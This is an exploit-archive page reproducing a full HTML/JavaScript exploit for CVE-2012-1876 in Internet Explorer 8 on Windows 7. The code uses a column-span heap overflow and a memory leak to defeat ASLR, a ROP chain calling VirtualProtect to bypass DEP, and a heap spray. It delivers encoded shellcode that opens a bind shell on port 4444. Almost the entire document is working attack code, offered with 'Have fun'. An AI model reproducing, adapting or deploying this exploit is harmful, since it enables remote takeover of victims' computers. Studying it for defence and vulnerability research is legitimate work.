Internet Explorer 8 Fixed Col Span ID full ASLR & DEP bypass

2013-01-1000:00:00
Root
www.seebug.org
0.97 High
EPSS
Percentile
99.7%
JSON
No description provided by source.

                                                &lt;!--
** Exploit Title: Internet Explorer 8 Fixed Col Span ID full ASLR &amp; DEP bypass
** Author: [email protected]
** Thanks to Ryujin and Dookie for their help.
 
####################################################################
 
** Affected Software: Internet Explorer 8
** Vulnerability: Fixed Col Span ID
** CVE: CVE-2012-1876
** Metasploit exploit using NON-ASLR DLL: http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/browser/ms12_037_ie_colspan.rb
** Vupen Blog post: http://www.vupen.com/blog/20120710.Advanced_Exploitation_of_Internet_Explorer_HeapOv_CVE-2012-1876.php
** Tested on Windows 7 (x86) - IE 8.0.7601.17514
 
####################################################################
 
** The exploit bypasses ASLR without the need of any NON-ASLR dll's using a leak :)
** To get it working on a different version of Windows you will require to make your own chances to the exploit :)
** Have fun :)
--&gt;
 
&lt;html&gt;
&lt;body&gt;
&lt;div id=&quot;evil&quot;&gt;&lt;/div&gt;
&lt;table style=&quot;table-layout:fixed&quot; &gt;&lt;col id=&quot;132&quot; width=&quot;41&quot; span=&quot;9&quot; &gt;  &lt;/col&gt;&lt;/table&gt;
&lt;script language='javascript'&gt;
 
function strtoint(str) {
    return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);
}
 
var free = &quot;EEEE&quot;;
while ( free.length &lt; 500 ) free += free;
 
var string1 = &quot;AAAA&quot;;
while ( string1.length &lt; 500 ) string1 += string1;
 
var string2 = &quot;BBBB&quot;;
while ( string2.length &lt; 500 ) string2 += string2;
 
var fr = new Array();
var al = new Array();
var bl = new Array();
 
var div_container = document.getElementById(&quot;evil&quot;);
div_container.style.cssText = &quot;display:none&quot;;
 
for (var i=0; i &lt; 500; i+=2) {
    fr[i] = free.substring(0, (0x100-6)/2);
    al[i] = string1.substring(0, (0x100-6)/2);
    bl[i] = string2.substring(0, (0x100-6)/2);
    var obj = document.createElement(&quot;button&quot;);
    div_container.appendChild(obj);
}
 
for (var i=200; i&lt;500; i+=2 ) {
    fr[i] = null;
    CollectGarbage();
}
 
function heapspray(cbuttonlayout) {
    CollectGarbage();
    var rop = cbuttonlayout + 4161; // RET
    var rop = rop.toString(16);
    var rop1 = rop.substring(4,8);
    var rop2 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 11360; // POP EBP
    var rop = rop.toString(16);
    var rop3 = rop.substring(4,8);
    var rop4 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 111675; // XCHG EAX,ESP
    var rop = rop.toString(16);
    var rop5 = rop.substring(4,8);
    var rop6 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 12377; // POP EBX
    var rop = rop.toString(16);
    var rop7 = rop.substring(4,8);
    var rop8 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 642768; // POP EDX
    var rop = rop.toString(16);
    var rop9 = rop.substring(4,8);
    var rop10 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 12201; // POP ECX --&gt; Changed
    var rop = rop.toString(16);
    var rop11 = rop.substring(4,8);
    var rop12 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 5504544; // Writable location
    var rop = rop.toString(16);
    var writable1 = rop.substring(4,8);
    var writable2 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 12462; // POP EDI
    var rop = rop.toString(16);
    var rop13 = rop.substring(4,8);
    var rop14 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 12043; // POP ESI --&gt; changed
    var rop = rop.toString(16);
    var rop15 = rop.substring(4,8);
    var rop16 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 63776; // JMP EAX
    var rop = rop.toString(16);
    var jmpeax1 = rop.substring(4,8);
    var jmpeax2 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 85751; // POP EAX
    var rop = rop.toString(16);
    var rop17 = rop.substring(4,8);
    var rop18 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 4936; // VirtualProtect()
    var rop = rop.toString(16);
    var vp1 = rop.substring(4,8);
    var vp2 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 454843; // MOV EAX,DWORD PTR DS:[EAX]
    var rop = rop.toString(16);
    var rop19 = rop.substring(4,8);
    var rop20 = rop.substring(0,4); // } RET
 
    var rop = cbuttonlayout + 234657; // PUSHAD
    var rop = rop.toString(16);
    var rop21 = rop.substring(4,8);
    var rop22 = rop.substring(0,4); // } RET
 
 
    var rop = cbuttonlayout + 408958; // PUSH ESP
    var rop = rop.toString(16);
    var rop23 = rop.substring(4,8);
    var rop24 = rop.substring(0,4); // } RET
 
    var shellcode = unescape(&quot;%u&quot;+rop1+&quot;%u&quot;+rop2); // RET
    shellcode+= unescape(&quot;%u&quot;+rop3+&quot;%u&quot;+rop4); // POP EBP
    shellcode+= unescape(&quot;%u&quot;+rop5+&quot;%u&quot;+rop6); // XCHG EAX,ESP
    shellcode+= unescape(&quot;%u&quot;+rop3+&quot;%u&quot;+rop4); // POP EBP
    shellcode+= unescape(&quot;%u&quot;+rop3+&quot;%u&quot;+rop4); // POP EBP
    shellcode+= unescape(&quot;%u&quot;+rop7+&quot;%u&quot;+rop8); // POP EBP
    shellcode+= unescape(&quot;%u1024%u0000&quot;); // Size 0x00001024
    shellcode+= unescape(&quot;%u&quot;+rop9+&quot;%u&quot;+rop10); // POP EDX
    shellcode+= unescape(&quot;%u0040%u0000&quot;); // 0x00000040
    shellcode+= unescape(&quot;%u&quot;+rop11+&quot;%u&quot;+rop12); // POP ECX
    shellcode+= unescape(&quot;%u&quot;+writable1+&quot;%u&quot;+writable2); // Writable Location
    shellcode+= unescape(&quot;%u&quot;+rop13+&quot;%u&quot;+rop14); // POP EDI
    shellcode+= unescape(&quot;%u&quot;+rop1+&quot;%u&quot;+rop2); // RET
    shellcode+= unescape(&quot;%u&quot;+rop15+&quot;%u&quot;+rop16); // POP ESI
    shellcode+= unescape(&quot;%u&quot;+jmpeax1+&quot;%u&quot;+jmpeax2); // JMP EAX
    shellcode+= unescape(&quot;%u&quot;+rop17+&quot;%u&quot;+rop18); // POP EAX
    shellcode+= unescape(&quot;%u&quot;+vp1+&quot;%u&quot;+vp2); // VirtualProtect()
    shellcode+= unescape(&quot;%u&quot;+rop19+&quot;%u&quot;+rop20); // MOV EAX,DWORD PTR DS:[EAX]
    shellcode+= unescape(&quot;%u&quot;+rop21+&quot;%u&quot;+rop22); // PUSHAD
    shellcode+= unescape(&quot;%u&quot;+rop23+&quot;%u&quot;+rop24); // PUSH ESP
    shellcode+= unescape(&quot;%u9090%u9090&quot;); // crap
    shellcode+= unescape(&quot;%u9090%u9090&quot;); // crap
 
    // Bind shellcode on 4444 :)
    shellcode+= unescape(&quot;%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b&quot; +
                             &quot;%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a&quot; +
                             &quot;%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf&quot; +
                             &quot;%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001&quot; +
                             &quot;%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18&quot; +
                             &quot;%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31&quot; +
                             &quot;%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03&quot; +
                             &quot;%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66&quot; +
                             &quot;%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489&quot; +
                             &quot;%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a&quot; +
                             &quot;%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32&quot; +
                             &quot;%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900&quot; +
                             &quot;%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050&quot; +
                             &quot;%u5040%u5040%uea68%udf0f%uffe0%u89d5%u31c7&quot; +
                             &quot;%u53db%u0268%u1100%u895c%u6ae6%u5610%u6857&quot; +
                             &quot;%udbc2%u6737%ud5ff%u5753%ub768%u38e9%uffff&quot; +
                             &quot;%u53d5%u5753%u7468%u3bec%uffe1%u57d5%uc789&quot; +
                             &quot;%u7568%u4d6e%uff61%u68d5%u6d63%u0064%ue389&quot; +
                             &quot;%u5757%u3157%u6af6%u5912%ue256%u66fd%u44c7&quot; +
                             &quot;%u3c24%u0101%u448d%u1024%u00c6%u5444%u5650&quot; +
                             &quot;%u5656%u5646%u564e%u5356%u6856%ucc79%u863f&quot; +
                             &quot;%ud5ff%ue089%u564e%uff46%u6830%u8708%u601d&quot; +
                             &quot;%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff&quot; +
                             &quot;%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72&quot; +
                             &quot;%u006a%uff53%u41d5&quot;);
 
 
 
    while (shellcode.length &lt; 100000)
        shellcode = shellcode + shellcode;
 
    var onemeg = shellcode.substr(0, 64*1024/2);
 
    for (i=0; i&lt;14; i++) {
        onemeg += shellcode.substr(0, 64*1024/2);
    }
 
    onemeg += shellcode.substr(0, (64*1024/2)-(38/2));
 
    var spray = new Array();
 
    for (i=0; i&lt;100; i++) {
        spray[i] = onemeg.substr(0, onemeg.length);
    }
}
 
function leak(){
    var leak_col = document.getElementById(&quot;132&quot;);
    leak_col.width = &quot;41&quot;;
    leak_col.span = &quot;19&quot;;
}
 
function get_leak() {
    var str_addr = strtoint(bl[498].substring((0x100-6)/2+11,(0x100-6)/2+13));
    str_addr = str_addr - 1410704;
    setTimeout(function(){heapspray(str_addr)}, 200);  
}
 
function trigger_overflow(){
    var evil_col = document.getElementById(&quot;132&quot;);
    evil_col.width = &quot;1178993&quot;;
    evil_col.span = &quot;44&quot;;
}
 
setTimeout(function(){leak()}, 300);
setTimeout(function(){get_leak()},700);
//setTimeout(function(){heapspray()}, 900);
setTimeout(function(){trigger_overflow()}, 1200);
 
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;